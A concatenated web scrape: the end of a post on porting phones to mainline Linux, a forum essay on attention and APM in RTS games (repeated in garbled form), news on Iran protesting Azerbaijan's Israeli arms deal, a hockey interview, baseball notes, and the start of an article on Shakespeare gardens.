Unfortunately, it suffers from similar problems as the strategy I was trying to go with. If you have a device with a very old kernel, you won't be able to run some of the latest userspace, even with Android userspace help. So, lots of devices would be left unsupported, unless we start working on some upstream support.
On RYF Hardware
My device is one of the worst out there. It's a modem that has a peripherical CPU. Much has already been said about Qualcomm chips being some of the least freedom-friendly. Ironically, it's some with the best upstream support, as far as I found out while doing this upstreaming work. Guess we'll have to wait for opencores, openrisc and risc-v to catch up here.
Diversity
Though I have been experimenting with Debian, the upstream work would sure benefit lots of other OSes out there, mainly GNU+Linux based ones, but also other non-GNU Linux based ones. Not so much for other kernels.
On other options
After the demise of Ubuntu Phone, I am glad to see UBports catching up. I hope the project is sustainable and produce more releases for more devices.
Rooting
This needs documentation. Most of the procedures rely on booting a recovery system, which means we are already past the root requirement. We simply boot our own system, then. However, for some debugging strategies, getting root on the OEM system is useful. So, try to get root on your system, but beware of malware out there.
Booting
Most of these devices will have their bootloaders in there. They may be unlocked, allowing unsigned kernels to be booted. Replacing these bootloaders is still going to be a challenge for another future phase. Though adding a second bootloader there, one that is freedom respecting, and that allows more control on that booting step to the user is something possible once you have some good upstream support. One could either use kexec for that, or try to use the same device tree for U-Boot, and use the knowledge of the device drivers for Linux on writing drivers for U-Boot, GRUB or Libreboot.
Installation
If you have root on your OEM system, this is something that could be worked on. Otherwise, there is magic-device-tool, whose approach is one that could be used.
Kernels
While I am working on adding Linux upstream support for my device, it would be wonderful to see more kernels supporting those gadgets. Hopefully, some of the device driver writing and reverse engineering could help with that, though I am not too much optimistic. But there is hope.
Basic kernel drivers
Adding the basic support, like USB and MMC, after clocks, gpios, regulators and what not, is the first step to a long road. But it would allow using the device as a board computer, under better control of the user. Hopefully, lots of eletronic garbage out there would have some use as control gadgets. Instead of buying a new board, just grab your old phone and put it to some nice use.
Sensors, input devices, LEDs
There are usually easy too. Some sensors may depend on your modem or some userspace code that is not that easily reverse engineered. But others would just require some device tree work, or some small input driver.
Graphics
Here, things may get complicated. Even basic video output is something I have some trouble with. Thanks to some other people's work, I have hope at least for my device. And using the vendor's linux source code, some framebuffer should be possible, even some DRM driver. But OpenGL or other 3D acceleration support requires much more work than that, and, at this moment, it's not something I am counting on. I am thankful for the work lots of people have been doing on this area, nonetheless.
Wireless
Be it Wifi or Bluetooth, things get ugly here. The vendor driver might be available. Rewriting it would take a long time. Even then, it would most likely require some non-free firmware loading. Using USB OTG here might be an option.
Modem/GSM
The work of the Replicant folks on that is what gives me some hope that it might be possible to get this working. Something I would leave to after I have a good interface experience in my hands.
GPS
Problem is similar to the Modem/GSM one, as some code lives in userspace, sometimes talking to the modem is a requirement to get GPS access, etc.
Shells
This is where I would like to see new projects, even if they work on current software to get them more friendly to these form factors. I consider doing some work there, though that's not really my area of expertise.
Next steps
For me, my next steps are getting what I have working upstream, keep working on DRM support, packaging GPE, then experimenting with some compositor code. In the middle of that, trying to get some other devices started.
But documenting some of my work is something I realized I need to do more often, and this post is some try on that. |
etofok Profile Blog Joined March 2012 101 Posts Last Edited: 2015-11-21 14:25:58 #1
An article about difficulty in games, human attention and design.
I kept it unfinished for a long time, but there is no better moment to complete and publish it. I hope you’ll enjoy reading it as much as I enjoyed composing this.
I don’t know how many of you are familiar with this completely dedgeam "Grey Goo". This was one of the highly anticipated RTS games a year ago, and I was one of the people riding the hype train at full speed.
The developers were advertising this game as more of a “casual” RTS with interesting approaches and mechanics and whatnot. And they were not lying. The game has a rather slower pace, quite cool the Goo race design, simcity has its pluses, the macro is done for you for the most part - meaning no more hassle with worker building, and you can build battle units automatically - just lock this “Build continuously this unit” switch and you are good to go. Unit balance had this familiar and understandable “rock-paper-scissors” dynamic, and it was easy to get into. Also units have no active abilities, so you can have easier time battling your opponent.
What a surprise, the game ended up as completely pointless. It has some “wow that’s interesting” moments, but this is not what keeps people playing. There was literally nothing that was worth playing for, since the game was unbelievable bland and shallow and I honestly felt sorry for the developers who managed to assemble such a cool project but failed to hire a game designer.
So, I was lurking at /r/greygoo at the time to read all the stuff about the game.
There was this post that I saved:
“Been lurking this game a little bit, showing moderate interest. Two RTS games that I've played and gotten into for a decent amount of time are StarCraft 2 and Planetary Annihilation. It looks more similar to SC2, but how similar is it really? Is it a click-fest competition? I get the impression that, in SC2, having good wits is meaningless if you actions/minute is a bit slower than your opponent. Is that anything like Grey Goo?”
and another one
“I never understood the point of the needless button hitting to keep your apm high. It's meaningless actions and I only perform actions necessary”
This sort of opinions are reasonably popular. However, let’s think about it for a bit.
What is an RTS game? A game that is being played in Real Time, obviously is not a Turn-Based game.
That means you perform actions simultaneously with your opponent. There are no specific game rules regarding how many things you can perform within “a turn”, because there is no such thing as a turn: every second is a turn that last for one second.
Game understanding is important for both types of games - be it a Turn-based or a Real-time game: the word “Strategy” in “RTS” flat-out implies that. However, Turn-based gameplay doesn't have this stressful component of continuous and non-stop action. This is simply nature of a turn - you have the time. You have the time to act precisely as you want: there is no mechanical / dexterity / attention split restrictions that you have to overcome.
I have a lot of friends who dislike playing Starcraft multiplayer: it is frustrating, difficult, demanding and they “can’t keep up with the speed”. If you constantly can’t keep up, you just feel like you're playing sub-optimally.
The game has a lot of different things that you have to perform, while you just physically can’t handle everything at once. It’s impossible to be 100% efficient: it is a constant struggle, be you are from bronze or a top grandmaster player. Why doesn’t it keep getting easier instead?
It’s not about the game. It’s about you and your opponent. The game gives you options and tools to do stuff with, and you, as a player, act and respond accordingly to the stuff your opponent does to you, be it a Real-Time or a Turn Based game. Think about it: is chess a hard game to play?
Anyhow, the reason you cannot avoid “APM spam” in a REAL-TIME Strategy game is because even if you physically can't play the game as fast as the other guy, or if you don't have ridiculously attuned attention like a top-notch World of Warcraft raider has, there is no other way, but you will inevitable end up in disadvantage against a better player because of that. You don't compete with the game, you compete with other people.
The game always feels difficult, because you play against real people who make you struggle. For a Platinum league player a Bronze opponent is just a walk in the park, whilst a Platinum is not even a challenge for a Masters. Both you and your opponent COMPETE with each other trying to outperform both the enemy and their previous self.
Therefore the terms - “competitiveness” and “competitive game”.
After I collected some responses on this, I've seen a decent argument: why would you need "mechanical burden" for a game?
Think about regular sports. Aside from their strategic depth, they also require stamina, strength, finesse and overall years of physical training just to be on par with other players. Just to play the game.
Let's "improve" basketball, by getting rid of some of these useless complication that don't contribute to its tactical depth. Remove
Is the game now easier to play? Definitely. But it is also less interesting to play, since there is less room for human error as well as for player improvement. Perfect is boring.
Coming back to video games.
By having a lot of different tasks that you have to control as a player, the game forces you to split your attention. Under these circumstances, attention becomes a finite, player-based resource that everyone has to manage on their own in order to improve as a player and to ultimately face better opponents.
The best advice for a bronze player? “Probes and Pylons”. It is a starting point - like a vector from zero to something, it gives a clear direction towards improvement.
By not forgetting these basic and simple tasks a player is able to progress significantly. After consciously doing this over and over again, it gets progressively less attention demanding and therefore frees up the brain capacity to focus on other tasks, such as not forgetting adding production facilities on time for example. To keep spreading creep. To check and maintain proper rally-points. To pay attention to the minimap. To micro a scouting probe and be distracting. To attack 3 places at once, fortify your 4th base with different structures and transfer SCVs while doing so.
I cannot emphasize this enough:
The continuous process of converting thoughts into memory gradually frees the brain capacity to think about something else, until your play turns into a pure performance. Similar to driving or playing an instrument you have to map out your decision making process for it to become mindless execution before you can properly operate it and do something else at the same time.
There are a lot of games that utilize this, for example, another Blizzard’s game World of Warcraft. I played PvE and let me tell you if you can’t keep a decent attention split of your own, you will die in some random fire while not being able to maintain a decent DPS rotation whatsoever. This is what the lack of attention split skills does to you. It is the attention split ability that differentiates not only good players from the bad ones, but every player from any other random player.
Don't get me wrong, it is not like stepping out of fire or queuing probes is THAT difficult, in fact, it is a compete no-brainer. But the problems arise when you're supposed to do that while trying to keep your focus on other 5 different things as well. Once the field gets more dynamic and strategic, players crumble under these circumstances.
In other words: a bunch of simple, but simultaneous tasks construct this type of gameplay where managing them with your attention becomes a skill on its own. Playing a game now requires careful planning and dynamic prioritization to maximize your efficiency.
You can’t have an outstandingly deep and sophisticated gameplay if it takes no time nor effort to learn. Including the attention split. Once you map out the entire decision making process that you also can flawlessly perform, the game loses its previous appealing.
Brood War had terrible UI and AI, meaning you had to dedicate a lot of your attention towards it. SC2 fixed these problems with a drastically better game engine: to play more efficiently and strategically got much easier. Then they added additional mechanics, including the macro ones.
HOWEVER,
Player vs Player games do not require any additional gameplay facilitations. At least, this is not necessary, because you compete against real people within the exact same system. If you think I want to add "APM Spam", attention sinks and severe execution taxes let me tell you that Player vs Player games do not require any additional gameplay complications, because you compete against real people as well.
What I’m trying to say is that there should be a fine balance between “Mechanical insanity” and “Point-and-click supremacy” to keep players in the flow: to give them a clear and huge room for improvements, whilst hooking them with this fascinating challenge. Before reaching this threshold the game might end up as insipid, however overshooting might repulse players early on.
The pros look forward towards improvement and competition - being the best. Regular players look forward to see the pros performing, admiring their mechanical prowess and superior game knowledge. If there is nothing to strive for, there is nothing to admire. This is especially important for a competitive 1v1 RTS eSports game.
If you’ve ever played Nexus Wars you should understand what I’m talking about.
But how about Dark Souls's Ornstein & Smough or Throne Watcher & Defender fights? Simply because there are 2 enemies you have to keep track of, the encounter feels much more difficult even though separately on their own, the bosses are dumber, slower and easier all around than a regular non-boss creature. I have
Your attention is divided between:
- stamina management,
- 1st boss positioning,
- 2nd boss positioning,
- evading in time and towards proper directions,
- recognizing attack patterns to define the timings,
- avoiding the cliff behind you which you can totally fall off from,
- tracking their health bars, since they resurrect each other (meaning you have to distribute your damage somewhat evenly refocusing your attention on whom to attack),
- you can actually miss your attack because of the insufficient weapon reach and poor positioning,
- you can connect your attack, but hit the shield (which staggers and exposes you to a counter-attack)
- and on top of that your field of view is limited.
The mixture of these is what makes it difficult.
In Legacy of the Void Beta Blizzard did remove a small portion of macro: Mules, Injects and Chronoboosts. This decision of theirs sprung an enormous amount of discussions throughout all the possible boards, which has been a lot of fun to investigate people's opinions. Blizzard ended up putting them back, but in their tweaked autocast form.
Doing that in Heart of the Swarm would've been a mistake, however for Legacy it is an entire different story.
In LotV there are also a bunch of new gameplay amplifications such as
“Place more bases and then get faster production because of it”
or
“These new units have additional buttons and require more of your control and attention in order to make them efficient. And by the way counterplaying these units is also a huge deal.”
This results in a much faster pace of the game compared with Heart of the Swarm. They (Blizzard) are removing one “attention split drain APM sinks” mechanics and add different ones instead, just sideways: they redirect a player's attention towards unit control and micromanagement.
Does it improve the gameplay though? This is what the beta test is for.
My personal opinion on this: for Terran and Protoss it is a mild improvement, however Zerg gameplay is desolated.
Zerg units are too "swarmy" by design to control them individually. Drops, Warp-prism, blink control, force fields, disruptors, siege tanks, widow mines, marine splitting, liberators etc etc require conscious control and dedicated attention.
Zerg has much less individual unit control and their gameplay comes down to setting up a perfect engagement with the perfect army composition (due to larva mechanic, unlike linear Terran production), superior map control (Overlords, lings, creep, mutas) and continuous proper economy management. Their attention is divided more thinly and equally in between these tasks throughout the game.
The fights themselves are not micro intensive because they can't be. This is the root of "A-Move" complaints. By removing Zerg's main economy management sink, that also serves the purpose of their entire unit production, players might find themselves staring at their swarmy units and creep tumors, which is just not engaging on its own. It is only fun when you don't have enough time for it.
Recommended material to watch:
Summary #1: for a game to be competitively challenging, designers have to play on the insufficient human brain capabilities such as attention and capacity. This can be achieved by forcing players to solve or keep track of problems regardless of their variety and complexity. By tuning these factors you can set up engaging gameplay where players always have a clear room for improvement in both short-term and long-term perspectives.
Summary #2: since players compete against real people, developers can make their game as complex or as simple as their hearts desire. "WCS Champion" and "Silver League player" are positions that are relative to other competitors - relativistic thresholds. Players come and go, but top 0.1% has always been and will always be 0.1%. You don't compete against the game, you compete against other people - the game is just a medium. The players make you feel overwhelmed, not the game.
cheers
/etofok
edits: clarity, better wording and formatting. Rewrited the article completely (03.09.15). Several additions (06.09.15).
“APM Spam” spectrum by etofokAn article about difficulty in games, human attention and design.I kept it unfinished for a long time, but there is no better moment to complete and publish it. I hope you’ll enjoy reading it as much as I enjoyed composing this.I don’t know how many of you are familiar with this completely dedgeam "Grey Goo". This was one of the highly anticipated RTS games a year ago, and I was one of the people riding the hype train at full speed.The developers were advertising this game as more of a “casual” RTS with interesting approaches and mechanics and whatnot. And they were not lying. The game has a rather slower pace, quite cool the Goo race design, simcity has its pluses, the macro is done for you for the most part - meaning no more hassle with worker building, and you can build battle units automatically - just lock this “Build continuously this unit” switch and you are good to go. Unit balance had this familiar and understandable “rock-paper-scissors” dynamic, and it was easy to get into. Also units have no active abilities, so you can have easier time battling your opponent.What a surprise, the game ended up as completely pointless. It has some “wow that’s interesting” moments, but this is not what keeps people playing. There was literally nothing that was worth playing for, since the game was unbelievable bland and shallow and I honestly felt sorry for the developers who managed to assemble such a cool project but failed to hire a game designer.So, I was lurking at /r/greygoo at the time to read all the stuff about the game.There was this post that I saved:?”and another oneThis sort of opinions are reasonably popular. However, let’s think about it for a bit.What is an RTS game? A game that is being played in Real Time, obviously is not a Turn-Based game.That means you perform actions simultaneously with your opponent. There are no specific game rules regarding how many things you can perform within “a turn”, because there is no such thing as a turn: every second is a turn that last for one second.Game understanding is important for both types of games - be it a Turn-based or a Real-time game: the word “Strategy” in “RTS” flat-out implies that. However, Turn-based gameplay doesn't have this stressful component of continuous and non-stop action. This is simply. You have the time to act precisely as you want: there is no mechanical / dexterity / attention split restrictions that you have to overcome.I have a lot of friends who dislike playing Starcraft multiplayer: it is frustrating, difficult, demanding and they “”. If you constantly can’t keep up, you just feel like you're playing sub-optimally.The game has a lot of different things that you have to perform, while you just physically can’t handle everything at once. It’s impossible to be 100% efficient: it is a constant struggle, be you are from bronze or a top grandmaster player. Why doesn’t it keep getting easier instead?The game gives you options and tools to do stuff with, and you, as a player, act and respond accordingly to the stuff your opponent does to you, be it a Real-Time or a Turn Based game. Think about it: is chess a hard game to play?Anyhow, the reason you cannot avoid “APM spam” in a REAL-TIME Strategy game is because even ifphysically can't play the game as fast as the other guy, or if you don't have ridiculously attuned attention like a top-notch World of Warcraft raider has, there is no other way, but you willend up in disadvantage against a better player because of that.The game always feels difficult, because. For a Platinum league player a Bronze opponent is just a walk in the park, whilst a Platinum is not even a challenge for a Masters. Both you and your opponent COMPETE with each other trying to outperform both the enemy and their previous self.Therefore the terms - “competitiveness” and “competitive game”.After I collected some responses on this, I've seen a decent argument:Think about regular sports. Aside from their strategic depth, they also require stamina, strength, finesse and overall years of physical training just to be on par with other players. Just to play the game.Let's "improve" basketball, by getting rid of some of these useless complication that don't contribute to its tactical depth. Remove Dribbling , ain't got time for this burden. The basket size x2, for easier scoring - people love scoring. Forbid running as well, because after a hard day I just want to relax and play the damn game.Is the game now easier to play? Definitely. But it is also less interesting to play, sinceas well as for player improvement. Perfect is boring.Coming back to video games.By having a lot of different tasks that you have to control as a player, the game forces you toyour. Under these circumstances, attention becomes a finite, player-based resource that everyone has to manage on their own in order to improve as a player and to ultimately face better opponents.The best advice for a bronze player? “Probes and Pylons”. It is a starting point - like a vector from zero to something, it gives a clear direction towards improvement.By not forgetting these basic and simple tasks a player is able to progress significantly. After consciously doing this over and over again, it gets progressively lessand therefore frees up the brain capacity to focus on other tasks, such as not forgetting adding production facilities on time for example. To keep spreading creep. To check and maintain proper rally-points. To pay attention to the minimap. To micro a scouting probe and be distracting. To attack 3 places at once, fortify your 4th base with different structures and transfer SCVs while doing so.I cannot emphasize this enough:Similar to driving or playing an instrument you have to map out your decision making process for it to become mindless execution before you can properly operate it and do something else at the same time.There are a lot of games that utilize this, for example, another Blizzard’s game World of Warcraft. I played PvE and let me tell you if you can’t keep a decent attention split of your own, you will die in some random fire while not being able to maintain a decent DPS rotation whatsoever. This is what the lack of attention split skills does to you. It is theability that differentiates not only good players from the bad ones, but every player from any other random player.Don't get me wrong, it is not like stepping out of fire or queuing probes is THAT difficult, in fact, it is a compete no-brainer. But the problems arise when you're supposed to do that while trying to keep your focus on other 5 different things as well. Once the field gets more dynamic and strategic, players crumble under these circumstances.In other words:. Playing a game now requires careful planning and dynamic prioritization to maximize your efficiency.You can’t have an outstandingly deep and sophisticated gameplay if it takes no time nor effort to learn. Including the attention split.Brood War had terrible UI and AI, meaning you had to dedicate a lot of your attention towards it. SC2 fixed these problems with a drastically better game engine: to play more efficiently and strategically got much easier. Then they added additional mechanics, including the macro ones.HOWEVER,Player vs Player games do not require any additional gameplay. At least, this is not necessary, because you compete against real people within the exact same system. If you think I want to add "APM Spam", attention sinks and severe execution taxes let me tell you that Player vs Player games do not require any additional gameplay, because you compete against real people as well.What I’m trying to say is thatbetween “Mechanical insanity” and “Point-and-click supremacy” to keep players in the flow: to give them a clear and huge room for improvements, whilst hooking them with this fascinating challenge. Before reaching this threshold the game might end up as insipid, however overshooting might repulse players early on.The pros look forward towards improvement and competition - being the best. Regular players look forward to see the pros performing, admiring their mechanical prowess and superior game knowledge.This is especially important for a competitive 1v1 RTS eSports game.If you’ve ever played Nexus Wars you should understand what I’m talking about.But how about Dark Souls's Ornstein & Smough or Throne Watcher & Defender fights? Simply because there are 2 enemies you have to keep track of, the encounter feels much more difficult even though separately on their own, the bosses are dumber, slower and easier all around than a regular non-boss creature. I have this old videoclip of me killing TW&TD SL1 , but I want you as a viewer to pay attention exclusively to the Defender guy and what he actually does in the fight.Your attention is divided between:- stamina management,- 1st boss positioning,- 2nd boss positioning,- evading in time and towards proper directions,- recognizing attack patterns to define the timings,- avoiding the cliff behind you which you can totally fall off from,- tracking their health bars, since they resurrect each other (meaning you have to distribute your damage somewhat evenly refocusing your attention on whom to attack),- you can actually miss your attack because of the insufficient weapon reach and poor positioning,- you can connect your attack, but hit the shield (which staggers and exposes you to a counter-attack)- and on top of that your field of view is limited.The mixture of these is what makes it difficult.In Legacy of the Void Beta Blizzard did remove a small portion of macro: Mules, Injects and Chronoboosts. This decision of theirs sprung an enormous amount of discussions throughout all the possible boards, which has been a lot of fun to investigate people's opinions. Blizzard ended up putting them back, but in their tweaked autocast form.Doing that in Heart of the Swarm would've been a mistake, however for Legacy it is an entire different story.In LotV there are also a bunch of new gameplay amplifications such asorThis results in a much faster pace of the game compared with Heart of the Swarm. They (Blizzard) are removing one “attention split drain APM sinks” mechanics and add different ones instead, just sideways: they redirect a player's attention towards unit control and micromanagement.Does it improve the gameplay though? This is what the beta test is for.My personal opinion on this: for Terran and Protoss it is a mild improvement, however Zerg gameplay is desolated.Zerg units are too "swarmy" by design to control them individually. Drops, Warp-prism, blink control, force fields, disruptors, siege tanks, widow mines, marine splitting, liberators etc etc require conscious control and dedicated attention.Zerg has much less individual unit control and their gameplay comes down to setting up a perfect engagement with the perfect army composition (due to larva mechanic, unlike linear Terran production), superior map control (Overlords, lings, creep, mutas) and continuous proper economy management. Their attention is divided more thinly and equally in between these tasks throughout the game.The fights themselves are not micro intensive because they can't be. This is the root of "A-Move" complaints. By removing Zerg's main economy management sink, that also serves the purpose of their entire unit production, players might find themselves staring at their swarmy units and creep tumors, which is just not engaging on its own. It is only fun when you don't have enough time for it.Recommended material to watch: "Baseballs vs Frisbees" by Day[9] Summary #1:This can be achieved by forcing players to solve or keep track of problems regardless of their variety and complexity. By tuning these factors you can set up engaging gameplay where players always have a clear room for improvement in both short-term and long-term perspectives.Summary #2: since players compete against real people, developers can make their game as complex or as simple as their hearts desire. "WCS Champion" and "Silver League player" are positions that are relative to other competitors - relativistic thresholds. Players come and go, but top 0.1% has always been and will always be 0.1%.- the game is just a medium. The players make you feel overwhelmed, not the game.cheers/etofokedits: clarity, better wording and formatting. Rewrited the article completely (03.09.15). Several additions (06.09.15). The king, the priest, the rich man—who lives and who dies? Who will the swordsman obey? |
Iran is fuming with neighboring Azerbaijan over its recently announced deal to purchase arms from Israel.
The Iranian Foreign Ministry on Tuesday summoned the Azeri ambassador to upbraid him over the $1.4 billion military hardware purchase, the Islamic Republic News Agency reported.
Deputy Foreign Minister Seyed Abbas Araqchi first asked Ambassador Javanshir Akhundov to confirm reports that Azerbaijan, Iran’s northern neighbor, has signed the deal.
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When confirmation was forthcoming, Araqchi reportedly slammed the envoy over the deal, and warned him against the use of Azerbaijani territory by the “Zionist regime” for terrorist attacks on Iran.
The ambassador reportedly explained that the equipment purchased from Israel is intended to liberate occupied territory of the Azerbaijan Republic. The arms in question, he said, will not be used against any other country, least of all Iran.
The ambassador did not elaborate, but the “occupied territory” to which he was referring may be the region of Nagorno-Karabakh. According to Azerbaijan and the international community, the enclave is part of Azerbaijan. Since the end of the Azeri-Armenian war in 1994, however, the majority Armenian region has exerted de facto independence with Armenian military support.
Under the terms of the Israel Aerospace Industries deal, announced earlier this week, the Caucasus nation will receive planes, drones and an advanced missile defense system. The shipment of aerial drones will be accompanied by a large team of security and technology consultants, according to Maariv, which cited an Intelligence Online report.
Azerbaijan has recently found itself caught between Israel and Iran as tensions have ramped up between the two. It came under fire from Iran recently amid reports that Israel was trying to set up a Mossad base in its capital, Baku.
Azerbaijan is a secular Muslim country with friendly ties to the US and Israel. It is home to approximately 9,000 Jews and has a total population of approximately 9.5 million people, according to the CIA World Factbook.
Last week, Azeri authorities announced that they had arrested several suspected terrorists with links to Iran and Hezbollah. The men are accused of planning attacks against foreigners in the capital. Azeri state-owned television reported that the suspects had bought explosives, guns and ammunition. |
Mikhail Grigorenko’s life has drastically changed since his bronze medal finish at the 2013 WJC:
• Jan 29, 2013: Buffalo Sabres informed Grigorenko that he will be staying with the team for the rest of the season
• That SAME DAY: Grigorenko scored his 1st career NHL goal against the Toronto Maple Leafs
• TWO days later: Grigorenko picks up his 1st career NHL assist against the Boston Bruins
Grigorenko was all smiles when I spoke with him after the 7-4 win over the Bruins. Here’s what he had to say:
How did the team tell you that you would be staying in the NHL?
(Smiling) I played in five games, came to practice in the morning – and the general manager and head coach called me over. I didn’t know what to expect. But they told me, “Tonight you will be playing your 6th game and you are staying with the team.”
Buffalo ended up losing in OT, but you will forever remember that game against Toronto because you scored your first NHL goal. How did that feel?
There were of course, many emotions that I felt. I was very happy that I scored and my line mates were very happy for me – that was very nice to see. It started off as such a frustrating game. Nothing was working for me in the first two periods! I was given another chance and started to play better – and then I scored. It felt like a huge weight was lifted off my shoulders.
You are used to playing many minutes in juniors and now you are often on the bench wondering when or if you will be put in. How have you adjusted to this? Has it been difficult?
I know that in every game I will get my 10-12 minutes. I try to be focused and ready for every shift. I think this is a good experience. Every player goes though this. I will do whatever it takes to get to the next level. I’m ready for the NHL.
What are the biggest differences playing in the NHL and the QMJHL? (Junior league)
The biggest adjustment has been the time you have to make decisions and the speed of the shooting and passing. Also, everybody is a lot bigger here and you always have to keep your head up to avoid injuries.
What do you think you need to work on to become a better player?
Everything that I have needs to be raised to a new level. I think that will come with age and experience. Adapting a little more to the level of the NHL will help as well.
What does Lindy Ruff want to see from you on the ice?
He wants to see me play tougher defensively, battle for the puck, and continue working hard. He wants to see me hustling and my legs to constantly be working. He also told me that when I get the puck in my possession to do what I know how.
You play very tactfully, you’re always thinking and read the game very well. Who are some players that have inspired you?
I knew of many hockey players, but I never really got to see them play. In Russia, they didn’t show the NHL. When I became a bit older, I began liking Ilya Kovalchuk. I’ve liked him ever since he scored the gold medal goal in the 2008 World Championships in Quebec.
Is it true that you wanted to wear #89 in honor of Alexander Mogilny, former Sabre from your hometown?
(Laughing) Not really. I was asked this in an interview and I said that. I’m happy with 25. That’s what I’ve played with my whole life and that’s what they (Sabres) gave me.
How were World Juniors in Ufa this year? Do you think it helped your game?
I think it definitely did. In Russia, all the hockey fans thought that I had an unsuccessful championship, but when I came here they all said that I played well throughout the entire tournament and had a great showing. Of course my stats could have been better, but the Buffalo Sabres told me that my showing at the WJC became one of the reasons as to why I stayed with the team.
Goalie Andrey Makarov was on your team at the WJC and is also drafted by the Buffalo Sabres. Would you like to play with him again?
Yes, of course. There are no Russians on the team right now and it would obviously be more fun with a Russian – especially Makarov. I think that he will be at the Sabres camp in the summer and hopefully he will have a good showing and make his way here.
Makarov or Vasilevsky? 🙂
They are both great goalies, but given that we are both now a part of the Sabres organization – Makarov.
What can you tell me about the city and your first few weeks in Buffalo?
I haven’t had time to see many places, but of course people are very nice here. They all love hockey and sports, so it’s nice to be in a city like this – especially playing in the arena. (First Niagara Center) It’s a great arena and it feels like you are part of a family. It’s a pleasure being in Buffalo.
Are you planning on living with some teammates or looking for your own place?
I am starting to look for an apartment.
Have you tried Buffalo’s famous chicken wings yet?
No. (Laughing)
Do you miss Russia?
No, I wouldn’t say that I miss it. I like everything here. Of course, there are moments when I miss my friends and family, but I always try to stay in touch with them. My parents visit sometimes too.
What advice would you pass along to 2013 draft prospects: Duclair, Erne, Sorenson, Etchegary? You were in their place not too long ago.
I would tell them to try and do everything that coach Patrick Roy tells them to do. Play the game like you know how and most importantly – work hard!
Who has helped and/or continues to help you most in Buffalo?
I can’t single out anyone, but in general all of the guys on the team. Especially the first few days, they all came up to me, gave me their numbers and said that if I ever need anything to not hesitate to call. Whether I needed to be picked up, dropped off, or if anything else came up, they would be there no questions asked. I never expected such hospitality like this. It has been great so far.
Find the original interview in Russian here at “Sovetsky Sport” – National Russian Sports Newspaper. |
Ex-Tigers manager says he's happy for AL Central rival Royals, who will meet Giants in the World Series
Detroit Tigers former manager Jim Leyland address the crowd after he throws out the ceremonial first pitch before the game against the Minnesota Twins at Comerica Park. (Photo: Rick Osentoski, USA TODAY Sports)
Former Detroit Tigers manager Jim Leyland never agreed with those who saw the American League Central as a weak division in recent years.
Leyland, who is heading to Kansas City to attend the first two games of the World Series, made the point again in a phone interview with the Free Press on Monday afternoon.
The Tigers won the AL Central for the fourth consecutive year before losing in three games in the AL Division Series to the Baltimore Orioles. The Kansas City Royals finished second in the AL Central, won a wild-card game against the Oakland Athletics, swept the Los Angeles Angels in the ALDS and swept the Orioles in four games in the AL Championship Series.
"I think it looks great for our division," Leyland said of the Royals advancing to the World Series.
"Everybody criticizes the Central Division all the time. I mean, Minnesota was in the playoffs when we were (managing), along with us. Cleveland was in the playoffs when we were there, along with us. … Kansas City and (Detroit) were both in it again, two teams from the Central Division. One is going to the World Series. We went twice.
"I think people need to get off picking on the Central Division. I think this is kind of proof in the pudding. 'Hey, wait a minute. Maybe the Central Division is better than we think it is.' I'm happy for the Royals. I'm proud of them."
Leyland said maybe people will now stop talking about the Central as a weak division.
"Cleveland and Chicago have a good team on the field now," Leyland said. "Kansas City is really good. Minnesota is kind of rebuilding, it looks like. I don't know what approach they're going to take. The Tigers are really good. Kansas City is really good. I mean, it's pretty good.
"I'm tickled for the Royals. Obviously, being an American League guy, I'm pulling for them."
Leyland, now a special assistant to Tigers president/general manager Dave Dombrowski, said he plans to return to Detroit after he returns from Kansas City.
NEW SCOUT: The Tigers announced the hiring of David Littlefield as a major league scout today. Littlefield, 54, replaces Mike Russell, who left to join the Arizona Diamondbacks as a special assistant to the senior vice president of baseball.
Littlefield has spent more than 25 seasons working in Major League baseball, including the past seven as a major league scout for the Chicago Cubs. Prior to joining the Cubs in 2007, Littlefield spent seven seasons as the general manager of the Pittsburgh Pirates. And before he joined the Pirates, he was the assistant general manager to Dombrowski with the Marlins.
Littlefield began his MLB career with three seasons in the Tigers organization as an area scout and East Coast scouting supervisor.
"He's a real bright guy," Leyland said of Littlefield. "I think him and Dave (Dombrowski) go back a ways. (Littlefield) is a terrific evaluator and has had general manager experience, so that is a great addition."
NOTEBOOK: Tigers outfielder J.D. Martinez finished runner-up to Chris Young of the Seattle Mariners for American League comeback player of the year by the Sporting News. Young received 49 votes, while Martinez received 22 in voting by some American League players.
Contact George Sipple: gsipple@freepress.com. Follow him on Twitter @georgesipple. |
Flowers from Shakespeare's Garden: a Posy from the Plays An illustration from Walter Crane 's 1906 book,
A Shakespeare garden is a themed garden that cultivates plants mentioned in the works of William Shakespeare. In English-speaking countries, particularly the United States, these are often public gardens associated with parks, universities, and Shakespeare festivals. Shakespeare gardens are sites of cultural, educational, and romantic interest and can be locations for outdoor weddings.
Signs near the plants usually provide relevant quotations. A Shakespeare garden usually includes several dozen species, either in herbaceous profusion or in a geometric layout with boxwood dividers. Typical amenities are walkways and benches and a weather-resistant bust of Shakespeare. Shakespeare gardens may accompany reproductions of Elizabethan architecture. Some Shakespeare gardens also grow species typical of the Elizabethan period but not mentioned in Shakespeare's plays or poetry.
Shakespeare [ edit ]
In January or February 1631 Sir Thomas Temple, 1st Baronet, of Stowe, was eager to send his man for cuttings from the grapevines at New Place, Stratford, the home of Shakespeare's retirement. Temple's surviving letter, however, makes no note of a Shakespeare connection: he knew the goodness of the vines from his sister-in-law, whose house was nearby.[1] The revival of interest in the flowers mentioned in Shakespeare's plays arose with the revival of flower gardening in the United Kingdom. An early document is Paul Jerrard, Flowers from Stratford-on-Avon (London 1852), in which Jerrard attempted to identify Shakespeare's floral references, in a purely literary and botanical exercise, such as those by J. Harvey Bloom (Shakespeare's Garden London:Methuen, 1903) or F.G. Savage, (The Flora and Folk Lore of Shakespeare Cheltenham:E.J. Burrow, 1923).[2] This parallel industry continues today.
A small arboretum of some forty trees mentioned by Shakespeare was planted in 1988 to complement the garden of Anne Hathaway's Cottage in Shottery, a mile from Stratford-on-Avon. "Visitors can sit on the specially designed bench, gaze at the cottage, press a button and listen to one of four Shakespearean sonnets read by famous actors," the official website informs the prospective visitor.[3] A live willow cabin made of growing willows, inspired by lines in Twelfth Night,[4] is another feature, and a maze of yew.
New Place, Stratford-on-Avon [ edit ]
